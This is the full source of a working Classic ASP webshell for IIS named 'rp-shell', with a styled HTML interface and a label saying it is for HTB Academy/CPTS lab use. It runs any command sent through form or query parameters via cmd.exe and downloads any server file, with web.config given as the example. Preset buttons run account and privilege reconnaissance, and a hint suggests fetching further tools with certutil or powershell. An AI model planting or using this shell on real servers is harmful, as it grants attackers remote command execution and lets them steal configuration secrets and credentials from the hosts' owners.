rp-shell.asp (9221B)
1 <%@ Language="VBScript" %> 2 <% 3 ' ============================================================ 4 ' rp-shell.asp — single-file CLASSIC ASP webshell (Rose Pine) 5 ' VBScript — requires the Classic ASP feature on IIS. 6 ' If the target only has ASP.NET, use rp-shell.aspx instead. 7 ' Lab use only — HTB Academy / CPTS 8 ' ============================================================ 9 Option Explicit 10 11 Dim workDir, output, statusMsg 12 output = "" : statusMsg = "" 13 14 ' --- working directory (persists via hidden field) --- 15 workDir = Request.Form("wd") 16 If workDir = "" Then workDir = Request.QueryString("wd") 17 Dim fso : Set fso = Server.CreateObject("Scripting.FileSystemObject") 18 If workDir = "" Or Not fso.FolderExists(workDir) Then 19 workDir = Server.MapPath(".") 20 End If 21 22 ' --- helpers --- 23 Function IsRooted(p) 24 IsRooted = (Len(p) > 2 And Mid(p, 2, 2) = ":\") Or (Left(p, 2) = "\\") 25 End Function 26 27 Function RunCmd(c, wd) 28 Dim sh, ex 29 Set sh = Server.CreateObject("WScript.Shell") 30 Set ex = sh.Exec("cmd.exe /c cd /d " & Chr(34) & wd & Chr(34) & " && " & c & " 2>&1") 31 Do While ex.Status = 0 32 If ex.StdOut.AtEndOfStream And ex.StdErr.AtEndOfStream Then 33 ' still running — avoid busy spin 34 End If 35 If Not ex.StdOut.AtEndOfStream Then Exit Do 36 Loop 37 RunCmd = ex.StdOut.ReadAll() & ex.StdErr.ReadAll() 38 End Function 39 40 Function HtmlEnc(s) 41 Dim r : r = Server.HTMLEncode(s & "") 42 HtmlEnc = Replace(r, vbCrLf, vbCrLf) 43 End Function 44 45 ' --- file download: ?get=<path> --- 46 Dim dl : dl = Request.QueryString("get") 47 If dl <> "" Then 48 Dim full : full = dl 49 If Not IsRooted(dl) Then full = workDir & "\" & dl 50 If fso.FileExists(full) Then 51 Dim stm : Set stm = Server.CreateObject("ADODB.Stream") 52 stm.Type = 1 : stm.Open 53 stm.LoadFromFile full 54 Response.Clear() 55 Response.ContentType = "application/octet-stream" 56 Response.AddHeader "Content-Disposition", "attachment; filename=" & fso.GetFileName(full) 57 Response.BinaryWrite stm.Read 58 stm.Close 59 Response.End() 60 Else 61 statusMsg = "download failed: not found -> " & full 62 End If 63 End If 64 65 ' --- command execution --- 66 Dim cmd : cmd = Request.Form("cmd") 67 If cmd = "" Then cmd = Request.QueryString("cmd") 68 If cmd <> "" Then 69 Dim t : t = Trim(cmd) 70 If LCase(t) = "cd" Or LCase(Left(t, 3)) = "cd " Or LCase(Left(t, 3)) = "cd\" Then 71 Dim target : target = Trim(Mid(t, 3)) 72 If LCase(t) = "cd" Then target = "" 73 If target = "" Then 74 output = workDir 75 Else 76 Dim newDir : newDir = target 77 If Not IsRooted(target) Then newDir = fso.GetAbsolutePathName(workDir & "\" & target) 78 If fso.FolderExists(newDir) Then 79 workDir = newDir : output = "" 80 Else 81 output = "The system cannot find the path specified." 82 End If 83 End If 84 ElseIf LCase(t) = "cls" Or LCase(t) = "clear" Then 85 output = "" 86 Else 87 output = RunCmd(cmd, workDir) 88 End If 89 End If 90 91 ' --- banner identity --- 92 Dim bannerUser, bannerHost 93 On Error Resume Next 94 bannerUser = Trim(RunCmd("whoami", workDir)) 95 bannerHost = Trim(RunCmd("hostname", workDir)) 96 On Error GoTo 0 97 If bannerUser = "" Then bannerUser = "?" 98 If bannerHost = "" Then bannerHost = "?" 99 %> 100 <!DOCTYPE html> 101 <html> 102 <head> 103 <meta charset="utf-8"> 104 <title>rp-shell :: <%= HtmlEnc(bannerHost & " :: " & bannerUser) %></title> 105 <style> 106 :root{ 107 --base:#191724; --surface:#1f1d2e; --overlay:#26233a; 108 --muted:#6e6a86; --subtle:#908caa; --text:#e0def4; 109 --love:#eb6f92; --gold:#f6c177; --rose:#ebbcba; 110 --pine:#31748f; --foam:#9ccfd8; --iris:#c4a7e7; 111 } 112 *{box-sizing:border-box;} 113 body{ 114 background:var(--base); color:var(--text); 115 font-family:"Cascadia Code",Consolas,"Courier New",monospace; 116 margin:0; padding:24px; font-size:14px; 117 } 118 .wrap{max-width:960px; margin:0 auto;} 119 .card{ 120 background:var(--surface); border:1px solid var(--overlay); 121 border-radius:10px; padding:18px 20px; margin-bottom:16px; 122 } 123 .banner{ 124 font-size:15px; color:var(--foam); letter-spacing:.5px; 125 border-left:3px solid var(--iris); padding-left:12px; 126 } 127 .banner b{color:var(--love);} 128 .meta{color:var(--subtle); font-size:12px; margin-top:6px;} 129 .meta span{color:var(--gold);} 130 .pwd{color:var(--pine); word-break:break-all;} 131 .pwd b{color:var(--foam);} 132 pre{ 133 background:var(--base); border:1px solid var(--overlay); 134 border-radius:8px; padding:14px; overflow-x:auto; 135 white-space:pre-wrap; word-break:break-all; 136 color:var(--text); min-height:60px; margin:12px 0; 137 } 138 .status{color:var(--gold); font-size:12px; min-height:16px;} 139 input[type=text]{ 140 width:100%; background:var(--overlay); color:var(--text); 141 border:1px solid var(--muted); border-radius:6px; 142 padding:10px 12px; font-family:inherit; font-size:14px; 143 } 144 input[type=text]:focus{outline:none; border-color:var(--iris);} 145 .row{display:flex; gap:8px; margin-top:10px; flex-wrap:wrap; align-items:center;} 146 .btn{ 147 background:var(--pine); color:var(--text); border:none; 148 border-radius:6px; padding:9px 18px; cursor:pointer; 149 font-family:inherit; font-size:13px; 150 } 151 .btn:hover{background:var(--foam); color:var(--base);} 152 .btn.alt{background:var(--overlay); color:var(--subtle);} 153 .btn.alt:hover{background:var(--muted); color:var(--text);} 154 .chips{margin-top:10px; display:flex; gap:6px; flex-wrap:wrap;} 155 .chip{ 156 background:var(--overlay); color:var(--iris); border:1px solid var(--muted); 157 border-radius:12px; padding:3px 10px; font-size:11px; cursor:pointer; 158 } 159 .chip:hover{background:var(--iris); color:var(--base);} 160 .fileline{display:flex; gap:8px; margin-top:8px; align-items:center;} 161 .hint{color:var(--muted); font-size:11px; margin-top:8px;} 162 </style> 163 </head> 164 <body> 165 <div class="wrap"> 166 167 <div class="card"> 168 <div class="banner">rp-shell [asp] :: <b><%= HtmlEnc(bannerHost & " :: " & bannerUser) %></b></div> 169 <div class="meta"> 170 remote <span><%= HtmlEnc(Request.ServerVariables("REMOTE_ADDR")) %></span> :: 171 server <span><%= HtmlEnc(Request.ServerVariables("SERVER_SOFTWARE")) %></span> :: 172 host <span><%= HtmlEnc(Request.ServerVariables("SERVER_NAME")) %>:<%= HtmlEnc(Request.ServerVariables("SERVER_PORT")) %></span> 173 </div> 174 </div> 175 176 <div class="card"> 177 <div class="pwd">cwd :: <b><%= HtmlEnc(workDir) %></b></div> 178 <pre id="out"><%= HtmlEnc(output) %></pre> 179 <div class="status"><%= HtmlEnc(statusMsg) %></div> 180 181 <form method="post"> 182 <input type="hidden" name="wd" value="<%= HtmlEnc(workDir) %>"> 183 <input type="text" name="cmd" id="cmd" autocomplete="off" 184 autofocus placeholder="command... (cd supported, cls clears)"> 185 <div class="row"> 186 <button class="btn" type="submit">run</button> 187 <button class="btn alt" type="submit" name="cmd" value="cls">clear</button> 188 </div> 189 <div class="chips"> 190 <span class="chip" onclick="fill('whoami /all')">whoami /all</span> 191 <span class="chip" onclick="fill('whoami /priv')">whoami /priv</span> 192 <span class="chip" onclick="fill('hostname & ipconfig')">ipconfig</span> 193 <span class="chip" onclick="fill('dir')">dir</span> 194 <span class="chip" onclick="fill('net user')">net user</span> 195 <span class="chip" onclick="fill('net localgroup administrators')">local admins</span> 196 <span class="chip" onclick="fill('ver')">ver</span> 197 <span class="chip" onclick="fill('set')">env</span> 198 </div> 199 </form> 200 201 <form method="get" class="fileline"> 202 <input type="hidden" name="wd" value="<%= HtmlEnc(workDir) %>"> 203 <input type="text" name="get" placeholder="download path, e.g. C:\inetpub\wwwroot\web.config"> 204 <button class="btn alt" type="submit">download</button> 205 </form> 206 207 <div class="hint"> 208 classic ASP / VBScript — use rp-shell.aspx when only ASP.NET is installed :: 209 up/down arrows = command history :: 210 no upload form (multipart in pure VBScript is painful — use certutil/powershell to fetch files) :: 211 delete this file during cleanup 212 </div> 213 </div> 214 215 </div> 216 <script> 217 var hist = [], hi = -1; 218 var box = document.getElementById("cmd"); 219 function fill(c){ box.value = c; box.focus(); } 220 box.form.addEventListener("submit", function(){ 221 if (box.value) hist.push(box.value); 222 }); 223 box.addEventListener("keydown", function(e){ 224 if (e.key === "ArrowUp"){ e.preventDefault(); 225 if (hist.length){ hi = Math.max(0, hi < 0 ? hist.length - 1 : hi - 1); box.value = hist[hi]; } } 226 if (e.key === "ArrowDown"){ e.preventDefault(); 227 if (hist.length){ hi = Math.min(hist.length - 1, hi + 1); box.value = hist[hi]; } } 228 }); 229 </script> 230 </body> 231 </html>